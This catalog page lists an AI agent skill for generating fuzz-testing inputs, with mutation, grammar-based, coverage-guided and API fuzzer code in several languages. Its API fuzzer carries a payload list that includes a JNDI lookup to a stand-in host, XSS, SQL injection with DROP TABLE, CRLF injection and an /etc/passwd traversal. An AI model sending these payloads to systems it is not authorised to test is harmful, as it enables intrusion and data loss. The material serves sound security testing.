Fuzzing input generator
Skill yigityildiz0/universal-ai-skill-library/skills/common/fuzzing-input-generator
531 searchable AI Agent Skills for Claude Code, OpenAI Codex, and OpenCode — EN/TR catalog, platform and risk notes, direct ZIPs, and curated bundles.
npx -y skills add yigityildiz0/universal-ai-skill-library --skill fuzzing-input-generatorAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
3 things to look at
- 18 days oldThe repository was created 18 days ago. New is not bad, but a brand new repository carrying a familiar-sounding name is the shape a typosquat arrives in, and there has been no time for anyone else to find a problem with it.
- no licenseNo license file was found in the repository. Code published without one is not open source by default, so using it at work is a question for whoever answers licensing questions where you are.
- 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Generate fuzz testing inputs for security and robustness testing using mutation-based, grammar-based, and coverage-guided fuzzing techniques. Use when.
SKILL.md
27.1 KB, as published. Nobody here has run it
Fuzzing Input Generator
Generate fuzz testing inputs that discover crashes, security vulnerabilities, memory corruption, hangs, and undefined behaviour by feeding malformed, unexpected, or random data to a target program. This skill covers mutation-based fuzzing, grammar-based fuzzing, coverage-guided fuzzing, and API fuzzing with practical implementations across multiple languages.
When to Use This Skill
Use this skill when you need to:
- Test parsers, deserializers, and file format handlers against malformed input
- Discover security vulnerabilities (buffer overflows, injection, denial of service)
- Fuzz REST/GraphQL API endpoints with invalid, oversized, or malicious payloads
- Test network protocol implementations against protocol violations
- Generate corpus files for coverage-guided fuzzers (AFL, libFuzzer, Jazzer)
- Build grammar-based fuzzers that produce structurally valid but semantically twisted inputs
- Stress-test input validation and error handling paths
- Verify that a program never crashes, regardless of input
Trigger phrases: "fuzz test", "fuzzing", "fuzz inputs", "mutation testing inputs", "crash test", "security fuzzing", "API fuzzing", "grammar fuzzing", "coverage-guided fuzzing", "input corpus", "malformed input", "adversarial inputs"
What This Skill Does
Fuzzing Approaches
Mutation-Based Fuzzing
Start with a valid input (the seed) and apply random mutations: bit flips, byte insertions, deletions, duplications, and value substitutions. This is the simplest approach and works well when you have a corpus of valid inputs.
Mutation operators:
- Bit flip (single bit, adjacent bits, byte-aligned bits)
- Byte replacement (random byte, interesting values like 0x00, 0xFF, 0x7F)
- Block insertion (random bytes, copies of existing blocks)
- Block deletion (remove random byte ranges)
- Arithmetic (add/subtract small values from integers in the input)
- Dictionary substitution (replace tokens with known-interesting values)
Grammar-Based Fuzzing
Define the input grammar (JSON, XML, SQL, HTTP) and generate inputs that are syntactically valid but probe semantic edge cases. This is more targeted than mutation-based fuzzing and avoids wasting time on inputs that are rejected at the parser level.
Coverage-Guided Fuzzing
Use code coverage feedback to guide input generation toward unexplored code paths. When a mutation increases coverage, the mutated input is added to the corpus. Tools like AFL++, libFuzzer, and Jazzer implement this automatically.
API Fuzzing
Send malformed HTTP requests to API endpoints, testing header manipulation, body corruption, parameter injection, oversized payloads, and content-type mismatches.
Fuzzing Pipeline
- Seed corpus creation: Gather valid sample inputs that exercise basic functionality
- Mutation/generation: Apply mutations or generate from grammars to create test inputs
- Execution: Feed each input to the target and monitor for crashes, hangs, and unexpected behaviour
- Coverage tracking: Record which code paths each input exercises
- Corpus management: Retain inputs that increase coverage; discard redundant ones
- Crash triage: Deduplicate crashes, identify root causes, create reproducible test cases
Instructions
Step 1: Build a Mutation-Based Fuzzer
Python:
import random
import struct
from typing import Callable
class MutationFuzzer:
"""Simple mutation-based fuzzer that applies random mutations to seed inputs."""
INTERESTING_BYTES = [0x00, 0x01, 0x7F, 0x80, 0xFF]
INTERESTING_INTS = [0, 1, -1, 0x7FFFFFFF, -0x80000000, 0xFFFFFFFF, 0x100, 0x1000]
def __init__(self, seeds: list[bytes], max_mutations: int = 10):
self.corpus = list(seeds)
self.max_mutations = max_mutations
def mutate(self, data: bytes) -> bytes:
"""Apply a random mutation to the input bytes."""
if len(data) == 0:
return bytes([random.randint(0, 255)])
mutation = random.choice([
self._bit_flip,
self._byte_replace,
self._byte_insert,
self._byte_delete,
self._block_duplicate,
self._arithmetic_mutate,
])
return mutation(bytearray(data))
def _bit_flip(self, data: bytearray) -> bytes:
idx = random.randint(0, len(data) - 1)
bit = random.randint(0, 7)
data[idx] ^= (1 << bit)
return bytes(data)
def _byte_replace(self, data: bytearray) -> bytes:
idx = random.randint(0, len(data) - 1)
data[idx] = random.choice(self.INTERESTING_BYTES)
return bytes(data)
def _byte_insert(self, data: bytearray) -> bytes:
idx = random.randint(0, len(data))
data.insert(idx, random.randint(0, 255))
return bytes(data)
def _byte_delete(self, data: bytearray) -> bytes:
if len(data) <= 1:
return bytes(data)
idx = random.randint(0, len(data) - 1)
del data[idx]
return bytes(data)
def _block_duplicate(self, data: bytearray) -> bytes:
if len(data) < 2:
return bytes(data)
start = random.randint(0, len(data) - 2)
length = random.randint(1, min(16, len(data) - start))
block = data[start:start + length]
insert_at = random.randint(0, len(data))
return bytes(data[:insert_at] + block + data[insert_at:])
def _arithmetic_mutate(self, data: bytearray) -> bytes:
if len(data) < 4:
return bytes(data)
idx = random.randint(0, len(data) - 4)
value = struct.unpack_from("<I", data, idx)[0]
value += random.choice([-1, 1, -256, 256])
value &= 0xFFFFFFFF
struct.pack_into("<I", data, idx, value)
return bytes(data)
def generate(self, count: int) -> list[bytes]:
"""Generate `count` mutated inputs from the corpus."""
results = []
for _ in range(count):
seed = random.choice(self.corpus)
mutated = seed
num_mutations = random.randint(1, self.max_mutations)
for _ in range(num_mutations):
mutated = self.mutate(mutated)
results.append(mutated)
return results
def fuzz(self, target: Callable[[bytes], None], iterations: int = 1000):
"""Run the fuzzer against a target function, catching crashes."""
crashes = []
for i in range(iterations):
test_input = self.generate(1)[0]
try:
target(test_input)
except Exception as e:
crashes.append({
"input": test_input,
"error": str(e),
"type": type(e).__name__,
"iteration": i,
})
return crashes
# Usage example: fuzz a JSON parser
def fuzz_json_parser():
import json
seeds = [
b'{}',
b'[]',
b'{"key": "value"}',
b'[1, 2, 3]',
b'{"nested": {"deep": true}}',
]
fuzzer = MutationFuzzer(seeds, max_mutations=5)
def target(data: bytes):
json.loads(data.decode("utf-8", errors="replace"))
crashes = fuzzer.fuzz(target, iterations=10000)
print(f"Found {len(crashes)} unique crash types")
unique_types = set(c["type"] for c in crashes)
for t in unique_types:
example = next(c for c in crashes if c["type"] == t)
print(f" {t}: {example['error'][:80]}")
JavaScript:
class MutationFuzzer {
static INTERESTING_BYTES = [0x00, 0x01, 0x7f, 0x80, 0xff];
constructor(seeds, maxMutations = 10) {
this.corpus = seeds.map((s) =>
typeof s === "string" ? Buffer.from(s) : s
);
this.maxMutations = maxMutations;
}
mutate(data) {
if (data.length === 0) {
return Buffer.from([Math.floor(Math.random() * 256)]);
}
const mutations = [
this.bitFlip,
this.byteReplace,
this.byteInsert,
this.byteDelete,
];
const mutation = mutations[Math.floor(Math.random() * mutations.length)];
return mutation.call(this, Buffer.from(data));
}
bitFlip(data) {
const idx = Math.floor(Math.random() * data.length);
const bit = Math.floor(Math.random() * 8);
data[idx] ^= 1 << bit;
return data;
}
byteReplace(data) {
const idx = Math.floor(Math.random() * data.length);
data[idx] =
MutationFuzzer.INTERESTING_BYTES[
Math.floor(Math.random() * MutationFuzzer.INTERESTING_BYTES.length)
];
return data;
}
byteInsert(data) {
const idx = Math.floor(Math.random() * (data.length + 1));
const byte = Math.floor(Math.random() * 256);
return Buffer.concat([data.slice(0, idx), Buffer.from([byte]), data.slice(idx)]);
}
byteDelete(data) {
if (data.length <= 1) return data;
const idx = Math.floor(Math.random() * data.length);
return Buffer.concat([data.slice(0, idx), data.slice(idx + 1)]);
}
fuzz(target, iterations = 1000) {
const crashes = [];
for (let i = 0; i < iterations; i++) {
const seed = this.corpus[Math.floor(Math.random() * this.corpus.length)];
let mutated = Buffer.from(seed);
const numMutations = Math.floor(Math.random() * this.maxMutations) + 1;
for (let m = 0; m < numMutations; m++) {
mutated = this.mutate(mutated);
}
try {
target(mutated);
} catch (e) {
crashes.push({ input: mutated, error: e.message, iteration: i });
}
}
return crashes;
}
}
// Usage: fuzz a JSON parser
const fuzzer = new MutationFuzzer(['{}', '[]', '{"key":"value"}']);
const crashes = fuzzer.fuzz((data) => {
JSON.parse(data.toString("utf-8"));
}, 10000);
console.log(`Found ${crashes.length} crashes`);
Java:
import java.util.*;
public class MutationFuzzer {
private static final byte[] INTERESTING = {0x00, 0x01, 0x7F, (byte) 0x80, (byte) 0xFF};
private final List<byte[]> corpus;
private final Random rng;
private final int maxMutations;
public MutationFuzzer(List<byte[]> seeds, int maxMutations) {
this.corpus = new ArrayList<>(seeds);
this.rng = new Random();
this.maxMutations = maxMutations;
}
public byte[] mutate(byte[] data) {
if (data.length == 0) {
return new byte[]{(byte) rng.nextInt(256)};
}
int mutation = rng.nextInt(3);
byte[] copy = data.clone();
return switch (mutation) {
case 0 -> bitFlip(copy);
case 1 -> byteReplace(copy);
case 2 -> byteInsert(copy);
default -> copy;
};
}
private byte[] bitFlip(byte[] data) {
int idx = rng.nextInt(data.length);
int bit = rng.nextInt(8);
data[idx] ^= (byte) (1 << bit);
return data;
}
private byte[] byteReplace(byte[] data) {
int idx = rng.nextInt(data.length);
data[idx] = INTERESTING[rng.nextInt(INTERESTING.length)];
return data;
}
private byte[] byteInsert(byte[] data) {
int idx = rng.nextInt(data.length + 1);
byte[] result = new byte[data.length + 1];
System.arraycopy(data, 0, result, 0, idx);
result[idx] = (byte) rng.nextInt(256);
System.arraycopy(data, idx, result, idx + 1, data.length - idx);
return result;
}
public record CrashInfo(byte[] input, String error, int iteration) {}
public List<CrashInfo> fuzz(java.util.function.Consumer<byte[]> target, int iterations) {
var crashes = new ArrayList<CrashInfo>();
for (int i = 0; i < iterations; i++) {
byte[] seed = corpus.get(rng.nextInt(corpus.size()));
byte[] mutated = seed.clone();
int numMuts = rng.nextInt(maxMutations) + 1;
for (int m = 0; m < numMuts; m++) {
mutated = mutate(mutated);
}
try {
target.accept(mutated);
} catch (Exception e) {
crashes.add(new CrashInfo(mutated, e.getMessage(), i));
}
}
return crashes;
}
}
Step 2: Build a Grammar-Based Fuzzer
Python:
import random
import string
class GrammarFuzzer:
"""Generate inputs from a context-free grammar with controlled randomness."""
def __init__(self, grammar: dict, start: str = "<start>", max_depth: int = 10):
self.grammar = grammar
self.start = start
self.max_depth = max_depth
def generate(self, symbol: str = None, depth: int = 0) -> str:
if symbol is None:
symbol = self.start
if symbol not in self.grammar:
return symbol # Terminal symbol
expansions = self.grammar[symbol]
if depth >= self.max_depth:
# Choose the shortest expansion to terminate
expansions = sorted(expansions, key=lambda e: len(e))
expansion = expansions[0]
else:
expansion = random.choice(expansions)
result = ""
for part in expansion:
result += self.generate(part, depth + 1)
return result
# JSON grammar for fuzzing JSON parsers
JSON_GRAMMAR = {
"<start>": [["<value>"]],
"<value>": [
["<object>"], ["<array>"], ["<string>"], ["<number>"],
["true"], ["false"], ["null"],
],
"<object>": [
["{", "}"],
["{", "<members>", "}"],
],
"<members>": [
["<pair>"],
["<pair>", ",", "<members>"],
],
"<pair>": [["<string>", ":", "<value>"]],
"<array>": [
["[", "]"],
["[", "<elements>", "]"],
],
"<elements>": [
["<value>"],
["<value>", ",", "<elements>"],
],
"<string>": [
['"', "<chars>", '"'],
['"', '"'],
],
"<chars>": [
["<char>"],
["<char>", "<chars>"],
],
"<char>": [[c] for c in string.ascii_letters + string.digits + " _-"],
"<number>": [
["<digits>"],
["-", "<digits>"],
["<digits>", ".", "<digits>"],
["<digits>", "e", "<digits>"],
],
"<digits>": [
["<digit>"],
["<digit>", "<digits>"],
],
"<digit>": [[str(d)] for d in range(10)],
}
# Generate fuzzed JSON inputs
fuzzer = GrammarFuzzer(JSON_GRAMMAR, max_depth=8)
for _ in range(10):
fuzzed_json = fuzzer.generate()
print(repr(fuzzed_json))
JavaScript:
class GrammarFuzzer {
constructor(grammar, start = "<start>", maxDepth = 10) {
this.grammar = grammar;
this.start = start;
this.maxDepth = maxDepth;
}
generate(symbol = null, depth = 0) {
if (symbol === null) symbol = this.start;
if (!(symbol in this.grammar)) return symbol;
let expansions = this.grammar[symbol];
if (depth >= this.maxDepth) {
expansions = [...expansions].sort((a, b) => a.length - b.length);
expansions = [expansions[0]];
}
const expansion = expansions[Math.floor(Math.random() * expansions.length)];
return expansion.map((part) => this.generate(part, depth + 1)).join("");
}
}
// SQL grammar for fuzzing SQL parsers
const SQL_GRAMMAR = {
"<start>": [["<statement>"]],
"<statement>": [
["SELECT ", "<columns>", " FROM ", "<table>"],
["SELECT ", "<columns>", " FROM ", "<table>", " WHERE ", "<condition>"],
["INSERT INTO ", "<table>", " VALUES (", "<values>", ")"],
],
"<columns>": [["*"], ["<column>"], ["<column>", ", ", "<columns>"]],
"<column>": [["id"], ["name"], ["email"], ["age"], ["created_at"]],
"<table>": [["users"], ["orders"], ["products"]],
"<condition>": [
["<column>", " = ", "<literal>"],
["<column>", " > ", "<number>"],
["<column>", " IS NULL"],
["<condition>", " AND ", "<condition>"],
],
"<values>": [["<literal>"], ["<literal>", ", ", "<values>"]],
"<literal>": [["'", "<word>", "'"], ["<number>"], ["NULL"]],
"<word>": [["test"], ["hello"], ["admin"], ["' OR 1=1 --"]],
"<number>": [["0"], ["1"], ["-1"], ["999999"], ["2147483647"]],
};
const fuzzer = new GrammarFuzzer(SQL_GRAMMAR, "<start>", 6);
for (let i = 0; i < 10; i++) {
console.log(fuzzer.generate());
}
Step 3: Set Up Coverage-Guided Fuzzing
Python (with Atheris, Google's Python fuzzer):
# Install: pip install atheris
import atheris
import sys
import json
@atheris.instrument_func
def fuzz_json_parser(data):
"""Coverage-guided fuzz target for the JSON parser."""
try:
fdp = atheris.FuzzedDataProvider(data)
json_str = fdp.ConsumeUnicodeNoSurrogates(fdp.remaining_bytes())
json.loads(json_str)
except (json.JSONDecodeError, UnicodeDecodeError):
pass # Expected errors, not crashes
@atheris.instrument_func
def fuzz_url_parser(data):
"""Coverage-guided fuzz target for URL parsing."""
from urllib.parse import urlparse, parse_qs
try:
fdp = atheris.FuzzedDataProvider(data)
url = fdp.ConsumeUnicodeNoSurrogates(fdp.remaining_bytes())
parsed = urlparse(url)
if parsed.query:
parse_qs(parsed.query)
except Exception:
pass # Document but do not suppress unexpected exceptions
def main():
atheris.Setup(sys.argv, fuzz_json_parser)
atheris.Fuzz()
if __name__ == "__main__":
main()
# Run: python fuzz_target.py -max_total_time=60 corpus/
Java (Jazzer):
import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.fasterxml.jackson.databind.ObjectMapper;
/**
* Jazzer fuzz target for Jackson JSON parser.
* Run: jazzer --target_class=JsonFuzzTarget --corpus=corpus/
*/
public class JsonFuzzTarget {
private static final ObjectMapper mapper = new ObjectMapper();
public static void fuzzerTestOneInput(FuzzedDataProvider data) {
String jsonStr = data.consumeRemainingAsString();
try {
mapper.readTree(jsonStr);
} catch (com.fasterxml.jackson.core.JsonProcessingException e) {
// Expected: malformed JSON
} catch (Exception e) {
// Unexpected exception type indicates a potential bug
throw e;
}
}
}
Step 4: Implement API Fuzzing
Python:
import requests
import random
import string
import json
class ApiFuzzer:
"""Fuzz REST API endpoints with malformed requests."""
MALICIOUS_STRINGS = [
"",
" ",
"\x00",
"null",
"undefined",
"true",
"false",
"-1",
"0",
"9999999999999999999",
"{{template}}",
"${jndi:ldap://evil.com/a}",
"<script>alert(1)</script>",
"' OR '1'='1",
"Robert'); DROP TABLE users;--",
"a" * 10000,
"\r\n\r\nHTTP/1.1 200 OK\r\n",
"../../../etc/passwd",
]
def __init__(self, base_url: str):
self.base_url = base_url
self.findings = []
def fuzz_json_body(self, endpoint: str, valid_body: dict, iterations: int = 100):
"""Fuzz a JSON API endpoint by mutating the request body."""
for i in range(iterations):
mutated = self._mutate_json(valid_body)
try:
response = requests.post(
f"{self.base_url}{endpoint}",
json=mutated,
timeout=5,
)
if response.status_code >= 500:
self.findings.append({
"type": "server_error",
"endpoint": endpoint,
"status": response.status_code,
"body": mutated,
"response": response.text[:500],
"iteration": i,
})
except requests.Timeout:
self.findings.append({
"type": "timeout",
"endpoint": endpoint,
"body": mutated,
"iteration": i,
})
except requests.ConnectionError:
self.findings.append({
"type": "connection_error",
"endpoint": endpoint,
"body": mutated,
"iteration": i,
})
def _mutate_json(self, obj: dict) -> dict:
"""Apply random mutations to a JSON object."""
mutated = json.loads(json.dumps(obj))
mutation = random.choice([
self._replace_value,
self._add_extra_field,
self._remove_field,
self._change_type,
self._inject_malicious,
])
return mutation(mutated)
def _replace_value(self, obj: dict) -> dict:
if not obj:
return obj
key = random.choice(list(obj.keys()))
obj[key] = random.choice([None, 0, -1, "", [], {}, True, False])
return obj
def _add_extra_field(self, obj: dict) -> dict:
obj["__fuzz_" + "".join(random.choices(string.ascii_lowercase, k=5))] = (
random.choice(self.MALICIOUS_STRINGS)
)
return obj
def _remove_field(self, obj: dict) -> dict:
if obj:
key = random.choice(list(obj.keys()))
del obj[key]
return obj
def _change_type(self, obj: dict) -> dict:
if not obj:
return obj
key = random.choice(list(obj.keys()))
original = obj[key]
if isinstance(original, str):
obj[key] = random.randint(-1000, 1000)
elif isinstance(original, (int, float)):
obj[key] = "not_a_number"
elif isinstance(original, bool):
obj[key] = "maybe"
elif isinstance(original, list):
obj[key] = "not_a_list"
return obj
def _inject_malicious(self, obj: dict) -> dict:
if not obj:
return obj
key = random.choice(list(obj.keys()))
obj[key] = random.choice(self.MALICIOUS_STRINGS)
return obj
# Usage
fuzzer = ApiFuzzer("http://localhost:8000")
fuzzer.fuzz_json_body("/api/users", {
"email": "[email protected]",
"name": "Test User",
"age": 25,
})
print(f"Found {len(fuzzer.findings)} issues")
for f in fuzzer.findings:
print(f" [{f['type']}] {f.get('status', 'N/A')}: {json.dumps(f['body'])[:100]}")
Step 5: Manage the Input Corpus
Python:
import hashlib
import os
import json
from pathlib import Path
class CorpusManager:
"""Manage fuzz test input corpus with deduplication and coverage tracking."""
def __init__(self, corpus_dir: str):
self.corpus_dir = Path(corpus_dir)
self.corpus_dir.mkdir(parents=True, exist_ok=True)
self.coverage_map = {}
def add_seed(self, data: bytes, name: str = None) -> str:
"""Add a seed input to the corpus."""
digest = hashlib.sha256(data).hexdigest()[:16]
filename = name or f"seed_{digest}"
filepath = self.corpus_dir / filename
filepath.write_bytes(data)
return str(filepath)
def add_if_new_coverage(self, data: bytes, coverage: set) -> bool:
"""Add input to corpus only if it covers new code paths."""
new_paths = coverage - set(self.coverage_map.keys())
if new_paths:
digest = hashlib.sha256(data).hexdigest()[:16]
filepath = self.corpus_dir / f"cov_{digest}"
filepath.write_bytes(data)
for path in new_paths:
self.coverage_map[path] = str(filepath)
return True
return False
def load_corpus(self) -> list[bytes]:
"""Load all inputs from the corpus directory."""
inputs = []
for filepath in sorted(self.corpus_dir.iterdir()):
if filepath.is_file():
inputs.append(filepath.read_bytes())
return inputs
def minimize_corpus(self, coverage_fn):
"""Remove corpus entries that do not contribute unique coverage."""
entries = []
for filepath in sorted(self.corpus_dir.iterdir()):
if filepath.is_file():
data = filepath.read_bytes()
coverage = coverage_fn(data)
entries.append((filepath, data, coverage))
# Greedy set cover: keep entries that contribute unique coverage
total_coverage = set()
kept = []
entries.sort(key=lambda e: len(e[2]), reverse=True)
for filepath, data, coverage in entries:
new_coverage = coverage - total_coverage
if new_coverage:
kept.append(filepath)
total_coverage |= coverage
else:
filepath.unlink()
return len(kept)
Best Practices
- Start with a good seed corpus: The quality of mutation-based fuzzing depends on the initial seeds; include valid inputs that exercise different code paths, file format features, and API operations
- Use coverage-guided fuzzing for native code: For C, C++, Rust, and Go targets, coverage-guided fuzzers (AFL++, libFuzzer) are dramatically more effective than blind mutation
- Use grammar-based fuzzing for structured inputs: Mutation of random bytes rarely produces valid SQL, JSON, or XML; grammar-based generation spends more time on semantically interesting inputs
- Run fuzzers continuously: Fuzzing finds more bugs with more time; run fuzzers in CI as long-running jobs (hours or days), not just as quick smoke tests
- Triage crashes by unique stack trace: Many crash inputs trigger the same bug; deduplicate by hashing the crash stack trace to focus on unique root causes
- Save every crash-triggering input: Store crash inputs in a permanent corpus so they can be used as regression tests after fixes
- Set resource limits: Fuzz targets should have memory limits (to catch memory exhaustion) and time limits (to catch infinite loops and hangs)
- Separate expected errors from crashes: A JSON parser throwing
JSONDecodeErroron malformed input is correct behaviour; a segfault or unhandled exception is a bug
Common Pitfalls
- Fuzzing without any seeds: Starting from empty or random bytes wastes time; even a single valid input as a seed dramatically improves mutation-based fuzzing effectiveness
- Ignoring timeout findings: A fuzz input that causes the target to hang for 30 seconds is as much a bug as a crash; these often indicate algorithmic complexity attacks (ReDoS, hash collision DoS)
- Not running long enough: Many bugs are only found after millions of iterations; running a fuzzer for 60 seconds and declaring the code safe is misleading
- Suppressing all exceptions: Catching
Exceptionin the fuzz target and ignoring it hides real bugs; only suppress expected error types (e.g.,JSONDecodeError) and let unexpected exceptions propagate - Not minimizing crash inputs: A 10KB crash input is hard to debug; use the fuzzer's minimization feature (e.g.,
afl-tmin) to reduce it to the smallest input that still triggers the crash - Fuzzing only in development: Fuzzing should be part of CI, not just a one-time developer activity; new code introduces new bugs that fuzzing can find
- Not testing error paths: Fuzzing primarily exercises error handling paths; if your code lacks proper error handling, fuzzing will reveal this as crashes rather than graceful failures
- Using production URLs for API fuzzing: Always fuzz against local or staging environments; never send fuzz traffic to production